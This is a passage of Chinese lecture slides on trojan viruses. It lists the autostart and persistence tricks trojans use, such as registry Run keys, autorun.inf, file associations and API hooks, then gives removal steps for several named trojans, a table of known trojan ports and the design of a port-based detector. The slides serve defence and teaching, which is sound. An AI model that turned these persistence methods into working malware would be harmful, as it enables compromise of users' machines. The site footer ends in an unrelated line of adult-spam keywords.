43、毒 的 常 用 騙 術(shù) 2 全 面 防 治 木 馬 病 毒 3 幾 種 常 見(jiàn) 木 馬 病 毒 的 殺 除 方 法 4 已 知 木 馬 病 毒 的 端 口 列 表 木 馬 病 毒 的 常 用 騙 術(shù) 1.修 改 批 處 理Autoexec.bat(自 動(dòng) 批 處 理 , 在 引 導(dǎo) 系 統(tǒng) 時(shí) 執(zhí)行 ) Winstart.bat(在 啟 動(dòng) GUI圖 形 界 面 環(huán) 境 時(shí) 執(zhí) 行 ) Dosstart.bat(在 進(jìn) 入 MS-DOS方 式 時(shí) 執(zhí) 行 ) 2.修 改 系 統(tǒng) 配 置System.iniWin.ini 3.借 助 自 動(dòng) 運(yùn) 行 功 能 根 目 錄 下 新 建 一 個(gè) Aut

44、orun.inf autorun open=Notepad.exe 4.通 過(guò) 注 冊(cè) 表 中 的 Run來(lái) 啟 動(dòng) 5.通 過(guò) 文 件 關(guān) 聯(lián) 啟 動(dòng) 6.通 過(guò) API HOOK啟 動(dòng) 利 用 經(jīng) 常 使 用 的 API啟 動(dòng) 木 馬 7.通 過(guò) VXD啟 動(dòng) 寫 成 Vxd并 寫 入 HKEY_ LOCAL_MACHINESystemCurrentControlSetServicesVxD 8.通 過(guò) 瀏 覽 網(wǎng) 頁(yè) 啟 動(dòng) 利 用 MIME的 漏 洞 。 9.利 用 Java applet 10.利 用 系 統(tǒng) 自 動(dòng) 運(yùn) 行 的 程 序 例 如 , ScanDisk等 程 序 , 在

45、 一 定 情 況 下 , 系 統(tǒng) 會(huì) 自 動(dòng)啟 動(dòng) 它 們 。 全 面 防 治 木 馬 病 毒 1 木 馬 中 毒 現(xiàn) 象 2 發(fā) 現(xiàn) 和 殺 除 木 馬 的 方 法 進(jìn) 程 /內(nèi) 存 模 塊 查 看 器 在 Windows下 查 看 進(jìn) 程 /內(nèi) 存 模 塊 的 方 法 很 多 , 有 PSAPI、 PDH和 ToolHelper API。 http:/ 端 口 掃 描 ( 端 口 進(jìn) 程 關(guān) 聯(lián) 軟 件 ) 關(guān) 聯(lián) 端 口 和 進(jìn) 程 的 軟 件 也 是 重 要 的 工 具 之 一 , 雖 然 DLL木 馬 隱 藏 在 其 他 進(jìn) 程 中 ,但 是 多 多 少 少 會(huì) 有 一 些 異 常

46、, 功 能 強(qiáng) 大 的 Fport就 是 一 個(gè) 優(yōu) 秀 的 進(jìn) 程 端 口 關(guān) 聯(lián)軟 件 , 可 以 在 以 下 地 址 下 載 到 :http:/ 嗅 探 器 嗅 探 器 幫 助 我 們 發(fā) 現(xiàn) 異 常 的 網(wǎng) 絡(luò) 通 訊 , 從 而 引 起 我 們 的 警 惕 和 關(guān) 注 , 嗅 探 器的 原 理 很 簡(jiǎn) 單 , 通 過(guò) 將 網(wǎng) 卡 設(shè) 為 混 雜 模 式 就 可 以 接 受 所 有 的 IP報(bào) 文 , 嗅 探 程 序可 以 從 中 選 擇 值 得 關(guān) 注 的 部 分 進(jìn) 行 分 析 , 剩 下 的 無(wú) 非 是 按 照 RFC文 檔 對(duì) 協(xié) 議進(jìn) 行 解 碼 。 代 碼 及 頭 文 件

47、: http:/ 譯 后 的 程 序 : http:/ 檢 查 及 保 護(hù) 注 冊(cè) 表 http:/ 查 找 文 件 http:/ 殺 病 毒 軟 件 系 統(tǒng) 文 件 檢 查 器 3 木 馬 的 預(yù) 防 措 施1. 永 遠(yuǎn) 不 要 執(zhí) 行 任 何 來(lái) 歷 不 明 的 軟 件 或 程 序2. 永 遠(yuǎn) 不 要 相 信 你 的 郵 箱 不 會(huì) 收 到 垃 圾 和 病 毒3. 永 遠(yuǎn) 不 要 因 為 對(duì) 方 是 你 的 好 朋 友 就 輕 易 執(zhí) 行他 發(fā) 過(guò) 來(lái) 的 軟 件 或 程 序 。4. 千 萬(wàn) 不 要 隨 便 留 下 你 的 個(gè) 人 資 料 。5. 千 萬(wàn) 不 要 輕 易 相 信 網(wǎng) 絡(luò) 上

48、 認(rèn) 識(shí) 的 新 朋 友 。6. 永 遠(yuǎn) 不 要 隨 便 說(shuō) 別 人 的 壞 話 , 防 止 別 人 用 木馬 報(bào) 復(fù) 你 。 幾 種 常 見(jiàn) 木 馬 病 毒 的 殺 除 方 法 一 、 BO2000 查 看 注 冊(cè) 表HEKY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicse 中 是否 存 在 Umgr32.exe的 鍵 值 。 有 則 將 其 刪 除 。 重新 啟 動(dòng) 電 腦 , 并 將 WindowsSystem中 的Umgr32.exe刪 除 。 二 、 NetSpy( 網(wǎng) 絡(luò) 精 靈 ) 國(guó) 產(chǎn) 木 馬 ,

49、默 認(rèn) 連 接 端 口 為 7306。 在 該 版 本 中 新 添 加 了 注 冊(cè) 表 編輯 功 能 和 瀏 覽 器 監(jiān) 控 功 能 , 客 戶 端 現(xiàn) 在 可 以 不 用 NetMonitor, 通 過(guò) IE或 Navigate就 可 以 進(jìn) 行 遠(yuǎn) 程 監(jiān) 控 了 。 其 強(qiáng) 大 之 處 絲 毫 不 遜 色 于 冰 河 和BO2000! 服 務(wù) 端 程 序 被 執(zhí) 行 后 , 會(huì) 在 C:Windowssystem目 錄 下 生成 netspy.exe文 件 。 同 時(shí) 在 注 冊(cè) 表HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowsCurrentVers

50、ionRun 下 建 立 鍵 值 C:windowssystemnetspy.exe, 用 于 在 系 統(tǒng) 啟動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 。 清 除 方 法 : 1.進(jìn) 入 dos, 在 C:windowssystem目 錄 下 輸 入 以 下 命 令 : del netspy.exe 回 車 ; 2.進(jìn) 入 注 冊(cè) 表HKEY_LOCAL_MACHINESoftwaremicrosoftwindowsCurrentVersionRun, 刪 除 Netspy.exe和 Spynotify.exe的 鍵 值 即 可 安 全 清 除Netspy。 三 、 Happy99 此 程 序 運(yùn) 行

51、時(shí) , 會(huì) 在 打 開 一 個(gè) 名 為 “ Happy new year 1999”的 窗 口 , 并 出 現(xiàn) 美 麗 的 煙 花 , 它 會(huì) 復(fù) 制 到 Windows主 文 件 夾 的 System目 錄 下 并 更 名 為 Ska.exe, 同 時(shí) 創(chuàng) 建 文件 Ska.dll, 修 改 Wsock32.dll, 將 修 改 前 的 文 件 備 份 為Wsock32.ska, 并 修 改 注 冊(cè) 表 。 另 外 , 用 戶 可 以 檢 查 注 冊(cè)HEKY_LOCAL_MACHINESoftwreMicrosoftWindowsCurrentVersionRunOnce 中 有 無(wú) 鍵 值

52、 Ska.exe。 有 則 將 其刪 除 , 并 刪 除 WindowsSystem中 的 Ska.exe和 Ska.dll兩個(gè) 文 件 , 將 Wsock32.ska更 名 為 Wscok32.dll。 四 、 冰 河 冰 河 標(biāo) 準(zhǔn) 版 的 服 務(wù) 器 端 程 序 為 G-server.exe, 客 戶 端 程 序 為 G-client.exe,默 認(rèn) 連 接 端 口 為 7626。 一 旦 運(yùn) 行 G-server, 那 么 該 程 序 就 會(huì) 在C:Windowssystem目 錄 下 生 成 Kernel32.exe和 sysexplr.exe并 刪 除 自 身 。Kernel32.

53、exe在 系 統(tǒng) 啟 動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 , sysexplr.exe和 TXT文 件 關(guān) 聯(lián) 。 即使 你 刪 除 了 Kernel32.exe, 但 只 要 你 打 開 TXT文 件 , sysexplr.exe就 會(huì) 被 激 活 ,它 將 再 次 生 成 Kernel32.exe, 于 是 冰 河 又 回 來(lái) 了 ! 這 就 是 冰 河 屢 刪 不 止 的 原因 。 清 除 方 法 : 用 純 DOS啟 動(dòng) 進(jìn) 入 系 統(tǒng) ( 以 防 木 馬 的 自 動(dòng) 恢 復(fù) ) , 刪 除 你 安 裝 的windows下 的 systemkernel32.exe和 systemsysex

54、plr.exe兩 個(gè) 木 馬 文 件 , 注意 如 果 系 統(tǒng) 提 示 你 不 能 刪 除 它 們 , 則 因 為 木 馬 程 序 自 動(dòng) 設(shè) 置 了 這 兩 個(gè) 文 件 的屬 性 , 我 們 只 需 要 先 改 掉 它 們 的 隱 藏 、 只 讀 屬 性 , 就 可 以 刪 除 。 刪 除 后 , 進(jìn) 入 windows系 統(tǒng) 進(jìn) 入 注 冊(cè) 表 中 , 找 到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR

55、un Services兩 項(xiàng) , 然 后 查 找 kernel32.exe和 sysexplr.exe兩 個(gè) 鍵 值 并 刪 除 。 再 找 到HKEY_CLASSES_ROOTtxtfileopencommand, 看 在 鍵 值 中 是 不 是 已 改 為“ sysexplr.exe%1”, 如 是 改 回 “ notepad.exe %1”。 五 、 Nethief(網(wǎng) 絡(luò) 神 偷 ) 這 是 反 彈 端 口 型 木 馬 的 典 型 代 表 。 大 多 數(shù) 的 防 火 墻 對(duì) 于 由 外 面 連 入 本 機(jī) 的 連 接往 往 會(huì) 進(jìn) 行 非 常 嚴(yán) 格 的 過(guò) 濾 , 但 是 對(duì) 于 由

56、 本 機(jī) 連 出 的 連 接 卻 疏 于 防 范 ( 當(dāng) 然 也 有 的 防火 墻 兩 方 面 都 很 嚴(yán) 格 ) 。 于 是 , 與 一 般 的 木 馬 相 反 , 反 彈 端 口 型 木 馬 的 服 務(wù) 端 (被 控 制端 )使 用 主 動(dòng) 端 口 , 客 戶 端 (控 制 端 )使 用 被 動(dòng) 端 口 , 當(dāng) 要 建 立 連 接 時(shí) , 由 客 戶 端 通 過(guò) FTP主 頁(yè) 空 間 告 訴 服 務(wù) 端 : “ 現(xiàn) 在 開 始 連 接 我 吧 ! ” , 并 進(jìn) 入 監(jiān) 聽(tīng) 狀 態(tài) , 服 務(wù) 端 收 到 通 知后 , 就 會(huì) 開 始 連 接 客 戶 端 。 為 了 隱 蔽 起 見(jiàn) , 客

57、 戶 端 的 監(jiān) 聽(tīng) 端 口 一 般 開 在 80, 這 樣 , 即使 用 戶 使 用 端 口 掃 描 軟 件 檢 查 自 己 的 端 口 , 發(fā) 現(xiàn) 的 也 是 類 似 “ TCP服 務(wù) 端 的 IP地址 :1026 客 戶 端 的 IP地 址 :80 ESTABLISHED”的 情 況 , 稍 微 疏 忽 一 點(diǎn) 你 就 會(huì) 以 為 是 自己 在 瀏 覽 網(wǎng) 頁(yè) 。 防 火 墻 也 會(huì) 如 此 認(rèn) 為 , 大 概 沒(méi) 有 哪 個(gè) 防 火 墻 會(huì) 不 給 用 戶 向 外 連 接 80端口 吧 。 清 除 方 法 : 1.網(wǎng) 絡(luò) 神 偷 會(huì) 在 注 冊(cè) 表HKEY_LOCAL_MACHINES

58、OFTWAREMicrosoftWindowsCurrentVersionRun 下 建 立 鍵 值 “ internet”, 其 值 為internet.exe /s, 將 鍵 值 刪 除 ; 2.刪 除 其 自 啟 動(dòng) 程 序C:WINDOWSSYSTEMINTERNET.EXE。 已 知 木 馬 病 毒 的 端 口 列 表木 馬 名 稱 端 口 木 馬 名 稱 端 口BO jammerkillahV 121 Remote Grab 7000NukeNabber 139 NetMonitor 7300Hackers Paradise 456 NetMonitor 1.x 7301Steal

59、th Spy 555 NetMonitor 2.x 7306Phase0 555 NetMonitor 3.x 7307NeTadmin 555 NetMonitor 4.x 7308Satanz Backdoor 666 Qaz 7597Attack FTP 666 ICQKiller 7789 AIMSpy 777 InCommand 9400 木 馬 檢 測(cè) 及 清 除 實(shí) 驗(yàn) 示 例 程 序 利 用 開 放 主 機(jī) 端 口 號(hào) 和 各 個(gè) 木 馬程 序 使 用 端 口 的 對(duì) 應(yīng) 關(guān) 系 , 判 斷 主 機(jī) 是 否已 中 木 馬 , 中 了 何 種 木 馬 ( 目 前 能 查 找 一百

60、 余 種 ) , 并 能 根 據(jù) 所 中 木 馬 的 類 型 , 對(duì)其 中 的 二 十 幾 種 進(jìn) 行 殺 滅 。 此 外 , 用 戶 可自 行 追 加 數(shù) 據(jù) 庫(kù) , 增 加 能 查 找 病 毒 的 種 類 。 開 始 讀 取 保 存 開 放 端 口 文 件 , 判 斷 中 何木 馬 是 否 能 打 開 木 馬 數(shù)據(jù) 庫(kù) 文 件No Yes 結(jié) 束 調(diào) 用 netstat獲 得 開 放 的 端 口 , 結(jié) 果保 存 到 文 件 此 木 馬 能 否 被 殺 滅調(diào) 用 函 數(shù) 殺 除 木 馬Yes No 關(guān) 鍵 數(shù) 據(jù) 結(jié) 構(gòu)本 程 序 的 數(shù) 據(jù) 文 件 Trojan.txt使 用 了 TRO

61、JAN結(jié) 構(gòu) 來(lái) 保 存 木 馬 的 名 稱 , 對(duì)應(yīng) 打 開 端 口 號(hào) 和 查 殺 代 碼字 段 名 稱 字 段 類型 字 段 說(shuō) 明nPort 數(shù) 字 該 木 馬 所 使 用 的 端 口 號(hào) 。TroName 字 符 串 該 木 馬 的 名 稱 。 nKillno 數(shù) 字 該 木 馬 的 查 殺 號(hào) , 殺 除 函 數(shù) 調(diào) 用 。pnext 指 針 用 于 構(gòu) 成 鏈 表 結(jié) 構(gòu) 指 針木 馬 名 稱 木 馬 使 用 特 征 端 口 號(hào) 查 殺 號(hào)在 Trojan.txt中 , 每 行 為 一 個(gè) 木 馬 項(xiàng) , 格 式 為 使 用 系 統(tǒng) 調(diào) 用 查 看 有 那 些 端 口 開 放 :

62、 netstat -a c:log.txt 返 回 格 式 Proto Local Address Foreign Address State TCP truewar:epmap 0.0.0.0:0 LISTENING TCP truewar:1025 0.0.0.0:0 LISTENING TCP truewar:1028 0.0.0.0:0 LISTENING TCP truewar:5000 0.0.0.0:0 LISTENING UDP truewar:isakmp *:* UDP truewar:1900 *:* 該 方 法 存 在 問(wèn) 題 : 無(wú) 法 應(yīng) 對(duì) 隱 藏 端 口 消 除

63、 木 馬 進(jìn) 程 的 步 驟 第 一 步 : 提 升 權(quán) 限 提 升 本 程 序 權(quán) 限 得 目 的 是 , 使 其 能 夠 殺 除 木 馬進(jìn) 程 , 主 要 是 通 過(guò) AdjustTokenPrivileges函 數(shù)來(lái) 完 成 。BOOL AdjustTokenPrivileges( HANDLE TokenHandle, /用 于 修 改 權(quán) 限 的 句 炳 BOOL DisableAllPrivileges, /修 改 方 式 PTOKEN_PRIVILEGES NewState, /修 改 后 的 值 DWORD BufferLength, /修 改 值 的 長(zhǎng) 度 PTOKEN_P

64、RIVILEGES PreviousState, /修 改 前 狀 態(tài) PDWORD ReturnLength /返 回 長(zhǎng) 度); 第 二 步 : 枚 舉 進(jìn) 程 , 獲 得 木 馬 進(jìn) 程 的 進(jìn) 程號(hào) 碼 。 首 先 通 過(guò) EnumProcesses函 數(shù) 來(lái) 枚 舉 系 統(tǒng) 中 所有 運(yùn) 行 的 進(jìn) 程 。 當(dāng) 獲 得 所 有 進(jìn) 程 的 進(jìn) 程 號(hào) 以 后 , 枚 舉 每 一 個(gè) 進(jìn)程 所 包 含 的 模 塊 , 這 里 使 用EnumProcessModules函 數(shù) : 通 過(guò) 返 回 的 模 塊 信 息 , 我 們 可 以 利 用GetModuleFileNameEx來(lái) 取

65、得 此 模 塊 調(diào) 用 文 件的 文 件 名 。 第 三 步 : 終 止 木 馬 進(jìn) 程 。 如 果 取 得 文 件 名和 木 馬 的 名 稱 一 樣 , 則 調(diào) 用TerminateProcess函 數(shù) 終 止 木 馬 進(jìn) 程 。 第 四 步 : 清 除 木 馬 文 件 。 在 終 止 木 馬 的 進(jìn)程 以 后 , 就 可 以 刪 除 木 馬 文 件 , 刪 除 注 冊(cè)表 項(xiàng) 和 刪 除 文 件 中 的 自 啟 動(dòng) 項(xiàng) 的 操 作 了 ,其 中 涉 及 到 幾 個(gè) 注 冊(cè) 表 操 作 函 數(shù) 。 RegOpenKeyEx: 用 來(lái) 打 開 注 冊(cè) 表 項(xiàng) RegQueryValueEx: 用 來(lái) 查 詢 特 定 注 冊(cè) 表 項(xiàng) 中 的 鍵值 RegDeleteValue: 當(dāng) 我 們 查 找 到 的 鍵 名 和 其 含 有 的鍵 值 與 木 馬 添 加 的 內(nèi) 容 一 致 時(shí) , 就 可 以 調(diào) 用 該 函 數(shù)刪 除 此 鍵 對(duì) 于 木 馬 文 件 , 調(diào) 用 DeleteFile函 數(shù) 來(lái) 刪 除 。 代 碼 ( VC) 及 程 序 演 示 論 文 題 目 :“ 淺 談 XX病 毒 及 其 防 治 技 術(shù) ”論 文 必 須 在 5月 11日 交

展開閱讀全文
溫馨提示:
1: 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

相關(guān)資源

更多
正為您匹配相似的精品文檔

相關(guān)搜索

關(guān)于我們 - 網(wǎng)站聲明 - 網(wǎng)站地圖 - 資源地圖 - 友情鏈接 - 網(wǎng)站客服 - 聯(lián)系我們

copyright@ 2023-2025  zhuangpeitu.com 裝配圖網(wǎng)版權(quán)所有   聯(lián)系電話:18123376007

備案號(hào):ICP2024067431號(hào)-1 川公網(wǎng)安備51140202000466號(hào)


本站為文檔C2C交易模式,即用戶上傳的文檔直接被用戶下載,本站只是中間服務(wù)平臺(tái),本站所有文檔下載所得的收益歸上傳人(含作者)所有。裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)上載內(nèi)容本身不做任何修改或編輯。若文檔所含內(nèi)容侵犯了您的版權(quán)或隱私,請(qǐng)立即通知裝配圖網(wǎng),我們立即給予刪除!

五月丁香婷婷狠狠色,亚洲日韩欧美精品久久久不卡,欧美日韩国产黄片三级,手机在线观看成人国产亚洲